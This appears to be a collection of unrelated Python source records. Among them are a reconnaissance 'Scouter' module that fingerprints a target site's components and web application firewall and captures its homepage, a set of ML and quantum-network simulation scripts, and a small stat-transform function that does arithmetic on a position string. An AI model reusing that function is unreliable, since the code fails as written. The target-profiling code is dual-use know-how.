reason=self.dtools.urlInfo\n ):\n yield cpd\n root = self.__output_getdata(root, level, url=obj.value)\n\n # ---------------------------------------新增\n # 首页源码,内容摘要,首页截图这3个东西应该是能在一个方法里获取的,如果不能,那么自行拆分\n for data in self._get_home_info(\n root, self.task, level, obj, reason=self.dtools.urlInfo\n ):\n yield data\n root = self.__output_getdata(root, level, url=obj.value)\n\n # waf_detect\n for data in self._get_waf_detect(\n root, self.task, level, obj, reason=self.dtools.waf_detect\n ):\n yield data\n root = self.__output_getdata(root, level, url=obj.value)\n\n except:\n self._logger.error(f\"Scouter url error, err:{traceback.format_exc()}\")\n finally:\n # 最后结束完成也要输出\n if root._subitem_count() > 0:\n self.outputdata(root.get_outputdict(), root._suffix)\n\n # ---------------------------------- component\n def _get_component(\n self, root: URL, task: IscoutTask, level, obj: ScoutFeedBackBase, reason=None\n ):\n \"\"\"\n 获取url的component\n :param root:\n :param task:\n :param level:\n :param obj:\n :return:\n \"\"\"\n if not task.cmd.stratagyscout.cmdurl.enabled_components:\n return\n\n self._logger.debug(\"URL:Start getting component.\")\n\n url: str = obj.value\n log = f\"开始收集目标{url}组件信息\"\n self._outprglog(log)\n count = 0\n try:\n for comd in self.__wappalyzer(root, task, level, url):\n count += 1\n yield comd\n except:\n self._logger.error(f\"Get wappalyzer error, err:{traceback.format_exc()}\")\n finally:\n log = f\"获取到目标{url}未经处理的{count}条{self.dtools.urlInfo}数据\"\n self._outprglog(log)\n\n def __wappalyzer(self, root: URL, task: IscoutTask, level, url):\n \"\"\"\n wappalyzer网站获取url的组件\n :param root:\n :param task:\n :param level:\n :param url:\n :return:\n \"\"\"\n try:\n wap = WebAlyzer(task)\n for component in wap.get_alyzer_res(level, url):\n self.__set_value(root, component)\n root = self.__segment_output(root, level, url)\n yield component\n except:\n self._logger.error(\n f\"Wappalyzer get component error, err:{traceback.format_exc()}\"\n )\n\n def _get_home_info(\n self, root: URL, task: IscoutTask, level, obj: ScoutFeedBackBase, reason=None\n ):\n \"\"\"\n 这个方法用来获取首页的信息,如果不能在一个方法内获取完成,那么就再拆分\n :param root:\n :param task:\n :param level:\n :param obj:\n :return:\n \"\"\"\n # task.cmd.stratagyscout.cmdurl.enabled_homepage_code\n # task.cmd.stratagyscout.cmdurl.enabled_summary\n # task.cmd.stratagyscout.cmdurl.enabled_homepage_screenshot\n self._logger.debug(\"URL:Start getting homeinfo.\")\n url: str = obj.value\n log = f\"开始收集目标{url}的{self.dtools.urlInfo}相关信息\"\n self._outprglog(log)\n # 一个方法可以将3个东西获取完成\n count = 0\n u_info = None\n try:\n u_info = UrlInfo(task)\n for data in u_info.visit_url(url, level, reason):\n if data is None:\n continue\n data_type = data[-1]\n try:\n # home page code\n if (\n data_type == \"homecode\"\n and task.cmd.stratagyscout.cmdurl.enabled_homepage_code\n ):\n root.set_homepage_code(data[0])\n count += 1\n # title meta\n elif (\n data_type == \"summary\"\n and task.cmd.stratagyscout.cmdurl.enabled_summary\n ):\n root.set_homepage_summary(data[0], data[1])\n count += 1\n # screen shot\n elif (\n data_type == \"screenshot\"\n and task.cmd.stratagyscout.cmdurl.enabled_homepage_screenshot\n ):\n # 这个数据是直接输出的\n OutputManagement.output(data[0])\n count += 1\n yield data\n task.success_count()\n except:\n task.fail_count()\n self._logger.error(\n f\"Set data error,datatype:{data_type}, error:{traceback.format_exc()}\"\n )\n continue\n except:\n self._logger.error(f\"Get homeinfo error, err:{traceback.format_exc()}\")\n finally:\n log = f\"获取到目标{url}未经处理的{count}条{self.dtools.urlInfo}数据\"\n self._outprglog(log)\n # 手动关闭下浏览器\n if u_info is not None:\n del u_info\n\n # ------------------------------------waf_detect目标防护探测\n def _get_waf_detect(\n self, root: URL, task: IscoutTask, level, obj: ScoutFeedBackBase, reason=None\n ):\n \"\"\"\n 目标防护探测,探测web应用防火墙指纹,识别WAF类型\n :param root:\n :param task:\n :param level:\n :param obj:\n :return:\n \"\"\"\n if not task.cmd.stratagyscout.cmdurl.enabled_waf_detect:\n return\n\n self._logger.debug(\"URL: Start getting waf_detect info.\")\n\n domain: str = obj.value\n log = f\"开始收集目标{domain} {self.dtools.waf_detect}信息\"\n self._outprglog(log)\n count_dict = {}\n try:\n if domain.startswith(\"http\"):\n url = parse.urlparse(domain)\n domain = url.netloc\n\n wd = WafDetect(task)\n if \"http://\" in domain or \"https://\" in domain:\n self._logger.error(\"http:// or https:// should not in domain!\")\n return\n # 探测目标是HTTP协议\n for waf in wd.waf_detect(\"http://\" + domain):\n if not isinstance(waf, str):\n continue\n root.set_waf(waf)\n count_dict[waf] = 1\n root = self.__segment_output(root, level, obj.value)\n yield waf\n task.success_count()\n # 探测目标是HTTPS协议\n for waf in wd.waf_detect(\"https://\" + domain):\n if not isinstance(waf, str):\n continue\n root.set_waf(waf)\n count_dict[waf] = 1\n root = self.__segment_output(root, level, obj.value)\n yield waf\n task.success_count()\n except Exception:\n task.fail_count()\n self._logger.error(\n \"Waf detect error:\\ntaskid:{}\\nbatchid:{}\\nobj:{}\\nerror:{}\".format(\n self.task.taskid,\n self.task.batchid,\n obj.value,\n traceback.format_exc(),\n )\n )\n finally:\n log = f\"获取到目标{domain}未经处理的{count_dict.__len__()}条{self.dtools.waf_detect}数据\"\n self._outprglog(log)\n","repo_name":"Octoberr/sspywork","sub_path":"savecode/threeyears/idownclient/scout/scouter/scouterurl.py","file_name":"scouterurl.py","file_ext":"py","file_size_in_byte":9753,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"} +{"seq_id":"21002826341","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 5 15:24:31 2018\n\n@author: zkq\n\"\"\"\nimport _init_paths\nimport os\nimport numpy as np\nfrom scipy import ndimage, misc, sparse\n#import imageio\nimport matplotlib.pyplot as plt\nimport csv\nimport pickle\n\nfrom datasets.science import science\nfrom model.utils.net_utils import vis_detections\nimport cv2\n\ndatapath = 'data/science/train'\n\nimagepath = os.path.join(datapath, 'image')\ncsvpath = os.path.join(datapath, 'stage1_train_labels.csv')\n\nfilelist = os.listdir(imagepath)\nfilelist.sort()\nimginfo = dict()\n\nsaveimg = True\nsavepath = \"save/science/\"\n\nfor imageid in filelist:\n thisimgpath = os.path.join(imagepath, imageid, 'images')\n img = misc.imread(os.path.join(thisimgpath, os.listdir(thisimgpath)[0]))\n imginfo[imageid] = {'size': img.shape, \n 'boxes': [], \n 'gt_classes': [],\n 'gt_ishard': [],\n 'gt_overlaps': [],\n 'flipped': False,\n 'seg_areas': []}\n\nwith open(csvpath, 'r') as f:\n reader = csv.reader(f)\n imgmasklist = list(reader)\n for imgmaskline in imgmasklist:\n imageid = imgmaskline[0]\n if (imageid == 'ImageId'):\n continue\n ptstr = imgmaskline[1].split(' ')\n ptnum = np.array([int(a) for a in ptstr])\n ptnum = ptnum.reshape([len(ptnum)//2, 2])\n \n ptlistx = []\n ptlisty = []\n imgshape = imginfo[imageid]['size']\n for n1 in ptnum:\n p1 = [(n1[0]-1)//imgshape[0], (n1[0]-1)%imgshape[0]]\n p2 = [(n1[0]+n1[1]-2)//imgshape[0], (n1[0]+n1[1]-2)%imgshape[0]]\n ptlistx.append(p1[0])\n ptlistx.append(p2[0])\n ptlisty.append(p1[1])\n ptlisty.append(p2[1])\n xmin = min(ptlistx)\n xmax = max(ptlistx)\n ymin = min(ptlisty)\n ymax = max(ptlisty)\n roi = [xmin, ymin, xmax, ymax]\n imginfo[imageid]['boxes'].append(roi)\n imginfo[imageid]['gt_classes'].append(1)\n imginfo[imageid]['gt_ishard'].append(False)\n imginfo[imageid]['gt_overlaps'].append([0.0, 1.0])\n imginfo[imageid]['seg_areas'].append((xmax - xmin + 1) * (ymax - ymin + 1))\n\nroidb = [None] * len(filelist)\nfor ii in range(len(filelist)):\n roidb[ii] = dict()\n roidb[ii]['boxes'] = np.array(imginfo[filelist[ii]]['boxes'], dtype=np.uint16)\n roidb[ii]['gt_classes'] = np.array(imginfo[filelist[ii]]['gt_classes'], dtype=np.int32)\n #roidb[ii]['gt_ishard'] = np.array(imginfo[filelist[ii]]['gt_ishard'])\n roidb[ii]['gt_overlaps'] = sparse.csr_matrix(np.array(imginfo[filelist[ii]]['gt_overlaps'], dtype=np.float32))\n roidb[ii]['flipped'] = imginfo[filelist[ii]]['flipped']\n #roidb[ii]['seg_areas'] = np.array(imginfo[filelist[ii]]['seg_areas'])\n\nf = open(os.path.join(datapath, 'stage1_train_labels_pickle.txt'), 'wb')\npickle.dump(roidb, f)\nf.close()\n\nif (saveimg):\n dataset = science('train')\n roidb = dataset.gt_roidb()\n for ii in range(len(roidb)):\n impath = dataset.image_path_at(ii)\n im = cv2.imread(impath)\n if im.shape[2] == 4:\n im = im[:,:,0:3]\n #im = im[:,:,::-1]\n nbox = len(roidb[ii]['boxes'])\n dets = np.zeros([nbox, 5])\n dets[:, 0:4] = roidb[ii]['boxes']\n dets[:, 4] = 1\n im = vis_detections(im, '', dets)\n cv2.imwrite(savepath + dataset.image_id_at(ii) + '.png', im)\n \n \n \n \n \n\n","repo_name":"MengyaoShi/imageSeg","sub_path":"faster-rcnn.pytorch/train_data_preprocess.py","file_name":"train_data_preprocess.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10377404272","text":"print('종료하려면 음수를 입력하시오')\r\na=0\r\nc=0\r\nwhile True:\r\n b=int(input('성적을 입력하시오: '))\r\n if b<0:\r\n print('성적의 평균은',a/c,'입니다.')\r\n break\r\n a+=b\r\n c+=1\r\n b=0\r\n\r\n","repo_name":"dokdokorean/python_problems3","sub_path":"6일차 실습.py","file_name":"6일차 실습.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"35409051392","text":"from app import create_app, db\nfrom app.models import Account, Transaction\nfrom app.seeds.seeds import AccountSeeder, TransactionSeeder\n\nif __name__ == \"__main__\":\n app = create_app()\n\n with app.app_context():\n tables = [Transaction, Account]\n for table in tables:\n num_deleted = db.session.query(table).filter(table.company_id == '00000000-dead-beef-cafe-000000000000').delete()\n db.session.commit()\n print(f\"Cleared {num_deleted} records from the {table.__tablename__} table\")\n\n print(\"Re-seeding test data.\")\n seeder = AccountSeeder(db=db)\n seeder.run()\n seeder = TransactionSeeder(db=db)\n seeder.run()\n","repo_name":"heysarver/double-entry-accounting","sub_path":"import_test_data.py","file_name":"import_test_data.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"35181033549","text":"import itertools\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom jobscheduling.log import LSLogger\nfrom jobscheduling.protocols import schedule_dag_asap, convert_task_to_alap, shift_distillations_and_swaps\nfrom jobscheduling.protocols import convert_protocol_to_task, schedule_dag_for_resources\nfrom jobscheduling.visualize import schedule_and_resource_timelines, protocol_timeline, draw_DAG\nfrom jobscheduling.topology import gen_line_topology\nfrom simulations.common import get_protocol_without_rate_constraint\n\n\nlogger = LSLogger()\n\nfont = {'family': 'normal',\n 'size': 14}\n\nmatplotlib.rc('font', **font)\n\n\ndef slot_size_selection():\n \"\"\"\n Plots the latency and number of slots needed to encode repeater protocols for\n a few different levels of fidelity for both cases when two nodes are connected\n or separated by two hops\n :return: None\n \"\"\"\n link_length = 5\n topology = gen_line_topology(num_end_node_comm_q=1, num_end_node_storage_q=3, link_length=link_length)\n protocols = []\n\n source = '0'\n destinations = ['1', '2']\n fidelities = [0.6 + 0.1 * i for i in range(4)]\n for destination in destinations:\n for fidelity in fidelities:\n demand = (source, destination, fidelity, 1)\n protocol = get_protocol_without_rate_constraint(topology, demand)\n if protocol:\n print(\"Found protocol between {} and {} with fidelity {} and rate {}\".format(source, destination,\n protocol.F, protocol.R))\n protocols.append((demand, protocol))\n\n # Increments of 4ms\n slot_sizes = sorted(list(set([0.0001 * i for i in range(1, 200)])))\n latency_data = {}\n slot_count_data = {}\n for demand, protocol in protocols:\n pdata_lat = []\n pdata_slt = []\n for slot_size in slot_sizes:\n task = convert_protocol_to_task(demand, protocol, slot_size)\n task, dec, corr = schedule_dag_for_resources(task, topology)\n asap_d, alap_d, shift_d = dec\n if not corr:\n import pdb\n pdb.set_trace()\n elif asap_d < shift_d or alap_d < shift_d:\n import pdb\n pdb.set_trace()\n num_slots = task.c\n task_latency = num_slots * slot_size\n pdata_lat.append((slot_size, task_latency))\n pdata_slt.append((slot_size, num_slots))\n s, d, f, r = demand\n print(\"Hops: {}, Fidelity: {}, Slot Size: {}, Latency: {}\".format(d, f, slot_size, task_latency))\n latency_data[demand] = pdata_lat\n slot_count_data[demand] = pdata_slt\n\n fig, axes = plt.subplots(nrows=1, ncols=4)\n for i, destination in enumerate(destinations):\n fmts = {\n 0.6: (\"-.\", \"0.8\"),\n 0.7: (\"--\", \"0.6\"),\n 0.8: (\"-\", \"0.4\"),\n 0.9: (\"-\", \"0.2\")\n }\n for demand in latency_data.keys():\n if demand[1] != destination:\n continue\n pdata = latency_data[demand]\n spdata = sorted(pdata)\n xdata = [d[0] for d in spdata]\n ydata = [d[1] for d in spdata]\n fidelity = round(demand[2], 2)\n label = \"F={}\".format(fidelity)\n fmt, c = fmts[fidelity]\n axes[i].plot(xdata, ydata, linestyle=fmt, color=c, label=label)\n axes[i].set(xlabel=\"Slot Size(s)\", ylabel=\"Latency(s)\")\n\n for demand in slot_count_data.keys():\n if demand[1] != destination:\n continue\n pdata = slot_count_data[demand]\n spdata = sorted(pdata)\n xdata = [d[0] for d in spdata]\n ydata = [d[1] for d in spdata]\n fidelity = round(demand[2], 2)\n label = \"F={}\".format(fidelity)\n fmt, c = fmts[fidelity]\n axes[i+2].plot(xdata, ydata, linestyle=fmt, color=c, label=label)\n axes[i+2].set(xlabel=\"Slot Size(s)\", ylabel=\"Num Slots\")\n\n axes[0].set_title(\"Link\")\n axes[1].set_title(\"Two Hop\")\n axes[2].set_title(\"Link\")\n axes[3].set_title(\"Two Hop\")\n handles, labels = axes[-1].get_legend_handles_labels()\n fig.legend(handles, labels, bbox_to_anchor=(0.96, 0.35), loc='lower right', fontsize=14)\n\n def on_resize(event):\n fig.tight_layout()\n fig.canvas.draw()\n\n fig.canvas.mpl_connect('resize_event', on_resize)\n plt.autoscale()\n plt.show()\n\n\ndef throughput_vs_chain_length():\n \"\"\"\n Plots the achieved rate of a quantum repeater protocol for different levels of fidelity\n and path length between end nodes\n :return: None\n \"\"\"\n num_network_nodes = 15\n link_length = 5\n topology = gen_line_topology(num_end_node_comm_q=1, num_end_node_storage_q=3, link_length=link_length)\n for edge in topology[1].edges:\n topology[1].edges[edge]['capabilities'] = [(0.999, 1500)]\n protocols = []\n\n source = '0'\n destinations = [str(i) for i in range(3, num_network_nodes)]\n fidelities = [0.98, 0.985, 0.99, 0.995, 0.997]\n for destination in destinations:\n for fidelity in fidelities:\n print(\"Creating protocol betweein {} and {} with fidelity {}\".format(source, destination, fidelity))\n demand = (source, destination, fidelity, 1e-10)\n protocol = get_protocol_without_rate_constraint(topology, demand)\n\n if protocol:\n protocols.append((demand, protocol))\n else:\n print(\"Failed to find protocol for demand {}\".format(demand))\n protocols.append((demand, None))\n\n slot_size = 0.01\n latency_data = {}\n for demand, protocol in protocols:\n print(\"Processing demand {}\".format(demand))\n if protocol is None:\n latency_data[demand] = 0\n continue\n\n task = convert_protocol_to_task(demand, protocol, slot_size)\n task, dec, corr = schedule_dag_for_resources(task, topology)\n asap_d, alap_d, shift_d = dec\n if not corr:\n import pdb\n pdb.set_trace()\n elif asap_d < shift_d or alap_d < shift_d:\n import pdb\n pdb.set_trace()\n task_latency = task.c * slot_size\n latency_data[demand] = 1 / task_latency\n s,d,f,r = demand\n print(\"Found protocol between {} and {} with fidelity {}, latency {}s, rate {}\".format(s, d, f, task_latency, latency_data[demand]))\n\n for i, destination in enumerate(destinations):\n xdata = fidelities\n dest_demands = list(sorted(filter(lambda demand: demand[1] == destination, latency_data.keys())))\n ydata = [latency_data[demand] for demand in dest_demands]\n plt.plot(xdata, ydata, label=\"{} node chain\".format(int(destination) + 1))\n\n plt.title(\"Repeater Protocol Rate vs. Fidelity\")\n plt.xlabel(\"Fidelity\")\n plt.ylabel(\"Rate (ebit/s)\")\n plt.legend()\n plt.autoscale()\n plt.show()\n\n\ndef throughput_vs_link_length():\n \"\"\"\n Plots the achieved rate of a quantum repeater protocol for different link lengths for a chain of 3 nodes\n :return: None\n \"\"\"\n link_lengths = [5 + 5 * i for i in range(10)]\n fidelities = [0.55 + 0.05 * i for i in range(9)]\n latency_data = {}\n for length in link_lengths:\n topology = gen_line_topology(num_end_node_comm_q=1, num_end_node_storage_q=5, link_length=length)\n source = '0'\n destination = '2'\n protocols = []\n for fidelity in fidelities:\n demand = (source, destination, fidelity, 1)\n protocol = get_protocol_without_rate_constraint(topology, demand)\n if protocol:\n print(\"Found protocol between {} and {} with fidelity {} and rate {}\".format(source, destination,\n protocol.F, protocol.R))\n protocols.append((demand, protocol))\n else:\n protocols.append((demand, None))\n\n # Increments of 10ms\n slot_size = 0.01\n for demand, protocol in protocols:\n print(\"Processing demand {} with length {}\".format(demand, length))\n if protocol is None:\n key = tuple(list(demand) + [length])\n latency_data[key] = 0\n continue\n\n task = convert_protocol_to_task(demand, protocol, slot_size)\n task, dec, corr = schedule_dag_for_resources(task, topology)\n asap_d, alap_d, shift_d = dec\n if not corr:\n import pdb\n pdb.set_trace()\n task_latency = task.c * slot_size\n key = tuple(list(demand) + [length])\n latency_data[key] = 1 / task_latency\n\n for length in link_lengths:\n xdata = fidelities\n length_demands = list(sorted(filter(lambda demand: demand[-1] == length, latency_data.keys())))\n ydata = [latency_data[demand] for demand in length_demands]\n plt.plot(xdata, ydata, label=\"{} km\".format(length))\n\n plt.title(\"Repeater Protocol Rate vs. Fidelity\")\n plt.xlabel(\"Fidelity\")\n plt.ylabel(\"Rate (ebit/s)\")\n plt.legend()\n plt.autoscale()\n plt.show()\n\n\ndef find_link_capabilities():\n \"\"\"\n Function for checking what kinds of link capabilities end up in quantum repeater protocols generated\n :return: None\n \"\"\"\n num_network_nodes = 6\n link_lengths = [5 + 5 * i for i in range(10)]\n fidelities = [0.55 + 0.05 * i for i in range(9)]\n link_capabilities = []\n\n for length in link_lengths:\n print(\"Processing link length: {}\".format(length))\n topology = gen_line_topology(num_end_node_comm_q=1, num_end_node_storage_q=5, link_length=length)\n source = '0'\n for destination in [str(i) for i in range(1, num_network_nodes)]:\n print(\"Processing destination {}\".format(destination))\n for fidelity in fidelities:\n demand = (source, destination, fidelity, 1)\n protocol = get_protocol_without_rate_constraint(topology, demand)\n if protocol:\n q = [protocol]\n while q:\n next = q.pop(0)\n if hasattr(next, \"protocols\"):\n q += next.protocols\n else:\n cap = (length, round(next.F, 3), next.R)\n if cap not in link_capabilities:\n link_capabilities.append(cap)\n print(type(next), cap)\n\n\ndef throughput_vs_resources():\n \"\"\"\n Plots the achieved rate of a quantum repeater protocol for different combinations of # comm q/# storage q\n :return: None\n \"\"\"\n link_length = 5\n num_comm_qubits = [1, 2, 4]\n num_storage_qubits = [3, 4, 5]\n fidelities = [0.55 + 0.05 * i for i in range(9)]\n latency_data = {}\n for num_comm, num_storage in list(itertools.product(num_comm_qubits, num_storage_qubits)):\n print(\"Using {} comm qs and {} storage qs\".format(num_comm, num_storage))\n topology = gen_line_topology(num_end_node_comm_q=num_comm, num_end_node_storage_q=num_storage,\n link_length=link_length)\n source = '0'\n destination = '3'\n protocols = []\n for fidelity in fidelities:\n demand = (source, destination, fidelity, 1)\n protocol = get_protocol_without_rate_constraint(topology, demand)\n if protocol:\n print(\"Found protocol between {} and {} with fidelity {} and rate {}\".format(source, destination,\n protocol.F, protocol.R))\n protocols.append((demand, protocol))\n else:\n protocols.append((demand, None))\n\n # Increments of 10ms\n slot_size = 0.01\n for demand, protocol in protocols:\n print(\"Processing demand {}\".format(demand))\n if protocol is None:\n key = tuple(list(demand) + [num_comm, num_storage])\n latency_data[key] = 0\n continue\n\n task = convert_protocol_to_task(demand, protocol, slot_size)\n task, dec, corr = schedule_dag_for_resources(task, topology)\n asap_d, alap_d, shift_d = dec\n if not corr:\n import pdb\n pdb.set_trace()\n elif asap_d < shift_d or alap_d < shift_d:\n import pdb\n pdb.set_trace()\n task_latency = task.c * slot_size\n key = tuple(list(demand) + [num_comm, num_storage])\n latency_data[key] = 1 / task_latency\n\n for num_comm, num_storage in list(itertools.product(num_comm_qubits, num_storage_qubits)):\n xdata = fidelities\n length_demands = list(sorted(filter(lambda demand: demand[-2] == num_comm and demand[-1] == num_storage,\n latency_data.keys())))\n ydata = [latency_data[demand] for demand in length_demands]\n plt.plot(xdata, ydata, label=\"{} Comm. {} Stor.\".format(num_comm, num_storage))\n\n plt.title(\"Repeater Protocol Rate vs. Fidelity\")\n plt.xlabel(\"Fidelity\")\n plt.ylabel(\"Rate (ebit/s)\")\n plt.legend()\n plt.autoscale()\n plt.show()\n\n\ndef visualize_protocol_scheduling():\n \"\"\"\n Function for visualizing the temporal scheduling of a repeater protocol under different resources\n :return: None\n \"\"\"\n line_topology = gen_line_topology(num_end_node_comm_q=1, num_end_node_storage_q=3, link_length=5)\n demand = ('0', '3', 0.55, 0.01)\n protocol = get_protocol_without_rate_constraint(line_topology, demand)\n task = convert_protocol_to_task(demand, protocol, 0.01)\n asap_latency, asap_decoherence, asap_correct = schedule_dag_asap(task, line_topology)\n alap_latency, alap_decoherence, alap_correct = convert_task_to_alap(task)\n shift_latency, shift_decoherence, shift_correct = shift_distillations_and_swaps(task)\n # draw_DAG(task)\n # import pdb\n # pdb.set_trace()\n protocol_timeline(task)\n import pdb\n pdb.set_trace()\n demand = ('0', '2', 0.8, 0.01)\n line_topology = gen_line_topology(num_end_node_comm_q=2, num_end_node_storage_q=3, link_length=5)\n protocol = get_protocol_without_rate_constraint(line_topology, demand)\n task = convert_protocol_to_task(demand, protocol, 0.01)\n asap_latency, asap_decoherence, asap_correct = schedule_dag_asap(task, line_topology)\n alap_latency, alap_decoherence, alap_correct = convert_task_to_alap(task)\n shift_latency, shift_decoherence, shift_correct = shift_distillations_and_swaps(task)\n protocol_timeline(task)\n line_topology = gen_line_topology(num_end_node_comm_q=4, num_end_node_storage_q=3, link_length=5)\n protocol = get_protocol_without_rate_constraint(line_topology, demand)\n task = convert_protocol_to_task(demand, protocol, 0.01)\n asap_latency, asap_decoherence, asap_correct = schedule_dag_asap(task, line_topology)\n alap_latency, alap_decoherence, alap_correct = convert_task_to_alap(task)\n shift_latency, shift_decoherence, shift_correct = shift_distillations_and_swaps(task)\n protocol_timeline(task)\n\n\ndef visualize_scheduled_protocols():\n \"\"\"\n Function for visualizing the temporal scheduling of a repeater protocol under different path lengths, resource\n counts, and link lengths\n :return: None\n \"\"\"\n # Iterate over path length\n max_num_nodes = 6\n max_num_resources = 8\n link_lengths = range(5, 10, 5)\n fidelities = [0.75, 0.8, 0.85, 0.9]\n slot_size = 0.05\n data = []\n for num_nodes in range(3, max_num_nodes):\n for num_resources in range(1, max_num_resources):\n # Iterate over the different lengths for links (make line equidistant\n for length in link_lengths:\n # Construct topology\n line_topology = gen_line_topology(num_end_node_comm=num_resources, num_end_node_storage=num_resources,\n link_length=length)\n # Iterate over the different fidelities\n for Fmin in fidelities:\n print(\"Collecting ({}, {}, {}, {})\".format(num_nodes, num_resources, length, Fmin))\n demand = (str(0), str(num_nodes - 1), Fmin, 0.01)\n protocol = get_protocol_without_rate_constraint(line_topology, demand)\n if protocol is None:\n data.append((length, num_nodes, num_resources, Fmin, None))\n logger.warning(\"Demand {} could not be satisfied!\".format(demand))\n else:\n task = convert_protocol_to_task(demand, protocol, slot_size)\n scheduled_task, decoherence_times, correct = schedule_dag_for_resources(task, line_topology)\n data.append((length, num_nodes, num_resources, Fmin, scheduled_task))\n\n for entry in sorted(data):\n length, num_nodes, num_resources, Fmin, task = entry\n if task:\n print(entry)\n schedule = [(0, task.c, task)]\n schedule_and_resource_timelines([task], schedule)\n\n\nif __name__ == \"__main__\":\n # slot_size_selection()\n throughput_vs_chain_length()\n # throughput_vs_link_length()\n # throughput_vs_resources()\n # visualize_protocol_scheduling()\n # find_link_capabilities()\n","repo_name":"mdskrzypczyk/LinkScheduling","sub_path":"code/simulations/protocol_simulations.py","file_name":"protocol_simulations.py","file_ext":"py","file_size_in_byte":17541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22346225788","text":"# coding:utf-8\r\n\r\n# PF是 power forward=大前锋\r\n# PG是 point guard=控球后卫\r\n# C是center 是中锋\r\n# SG是 shooting guard 得分后卫\r\n# SF是 small forward=小前锋\r\n\r\n\r\n# 转化成1到100内的值\r\ndef transform(height, weight, pos, stl, reb, ast, fouls, dunk, efgp):\r\n d_drib = {\"PG\": 85,\"SG\":80, \"SF\":75,\"PF\":75,\"C\":70}\r\n steal = stl\r\n drib = d_drib[pos]\r\n reb = reb\r\n pas = ast\r\n phy = 0.1*fouls + 0.3*height + 0.4*weight + 0.2*pos\r\n jump = 0.5*dunk + 0.5*reb\r\n run = 0.2*height + 0.3*weight + 0.5*pos\r\n shoot = efgp\r\n result = [steal, drib, reb, pas, phy, jump, run, shoot]\r\n return result\r\n\r\n\r\n\r\n\r\n","repo_name":"cciixx/nba-prediction-sys","sub_path":".history/algorithms/trans_20200325115804.py","file_name":"trans_20200325115804.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7380607248","text":"# imput_shape / input_length / input_dim\n\nimport numpy as np\n\n#1 데이터\n\nx = np.array([[1,2,3], [2,3,4], [3,4,5], [4,5,6]])\ny = np.array([4,5,6,7])\n\nprint(x.shape) # (4, 3)\nprint(y.shape) # (4,)\n\nx = x.reshape(4, 3, 1)\n\n#2 모델 구성\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, LSTM\nmodel = Sequential()\n\n# model.add(LSTM(10, activation='relu', input_shape=(3,1))) \nmodel.add(LSTM(10, activation='relu', input_length=3, input_dim=1))\n# LSTM 에서는 input_shape가 2차원으로 들어간다 ( 열(3), 몇개씩 자르는지(1)) \nmodel.add(Dense(20))\nmodel.add(Dense(20))\nmodel.add(Dense(1))\n# model.summary()\n\n\n#3\nmodel.compile(loss='mse',optimizer='adam')\nmodel.fit(x, y, epochs=100, batch_size=1)\n\n#4\nloss = model.evaluate(x ,y)\nprint(loss)\n\nx_pred = np.array([5,6,7]) #(3,)\nx_pred = x_pred.reshape(1, 3, 1)\n# LSTM과 형태를 맞춰줘야 하기 때문에 프레딕트도 형태를 변화 시킨다\n\nresult = model.predict(x_pred)\nprint(result)\n\n# 0.007169191259890795\n# [[7.573773]]","repo_name":"G-sup/academy-study","sub_path":"keras/keras23_LSTM2.py","file_name":"keras23_LSTM2.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28356116190","text":"from tensorflow import keras\r\nfrom tensorflow.keras.layers import Conv2D, Conv2DTranspose, Dropout, ReLU, Dense\r\nfrom tensorflow.keras.initializers import TruncatedNormal\r\n\r\n\r\ndef make_generator(latent_dim=100):\r\n model = keras.Sequential()\r\n init = TruncatedNormal(mean=0.0, stddev=0.02)\r\n # Foundation for 26x26 images\r\n model.add(Dense(units=52*52*512,\r\n use_bias=False,\r\n kernel_initializer=init,\r\n input_shape=(latent_dim,)))\r\n # model.add(BatchNormalization(momentum=0.8))\r\n # model.add(LeakyReLU(alpha=0.2))\r\n\r\n model.add(keras.layers.Reshape(target_shape=(52, 52, 512)))\r\n\r\n model.add(Conv2DTranspose(filters=256,\r\n kernel_size=(4, 4),\r\n kernel_initializer=init,\r\n strides=(1, 1),\r\n padding='same',\r\n use_bias=False))\r\n\r\n # model.add(BatchNormalization())\r\n model.add(ReLU())\r\n model.add(Dropout(rate=0.4))\r\n\r\n # Upsample to 104x104\r\n model.add(Conv2DTranspose(filters=256,\r\n kernel_size=(4, 4),\r\n kernel_initializer=init,\r\n strides=(2, 2),\r\n padding='same',\r\n use_bias=False))\r\n # model.add(BatchNormalization())\r\n model.add(ReLU())\r\n model.add(Dropout(rate=0.4))\r\n\r\n model.add(Conv2DTranspose(filters=128,\r\n kernel_size=(4, 4),\r\n kernel_initializer=init,\r\n strides=(2, 2),\r\n padding='same',\r\n use_bias=False))\r\n # model.add(BatchNormalization())\r\n model.add(ReLU())\r\n\r\n # Upsample to 416x416\r\n model.add(Conv2DTranspose(filters=128,\r\n kernel_size=(4, 4),\r\n kernel_initializer=init,\r\n strides=(2, 2),\r\n padding='same',\r\n use_bias=False))\r\n # model.add(BatchNormalization())\r\n model.add(ReLU())\r\n\r\n model.add(Conv2D(3,\r\n (3, 3),\r\n kernel_initializer=init,\r\n activation='tanh',\r\n padding='same'))\r\n assert model.output_shape == (None, 416, 416, 3)\r\n\r\n return model\r\n","repo_name":"Laende/Bacheloroppgave-droneteknologi","sub_path":"cDCGAN/Generator.py","file_name":"Generator.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7106948082","text":"import argparse\nimport time\nimport os\n\nimport torch\nimport yaml\n\nimport util\nfrom data import dataset\nfrom models import create_model\n\n\ndef main(config):\n\tdevice = torch.device(config['device'])\n\n\t##### Setup Dirs #####\n\texperiment_dir = config['path']['experiments'] + 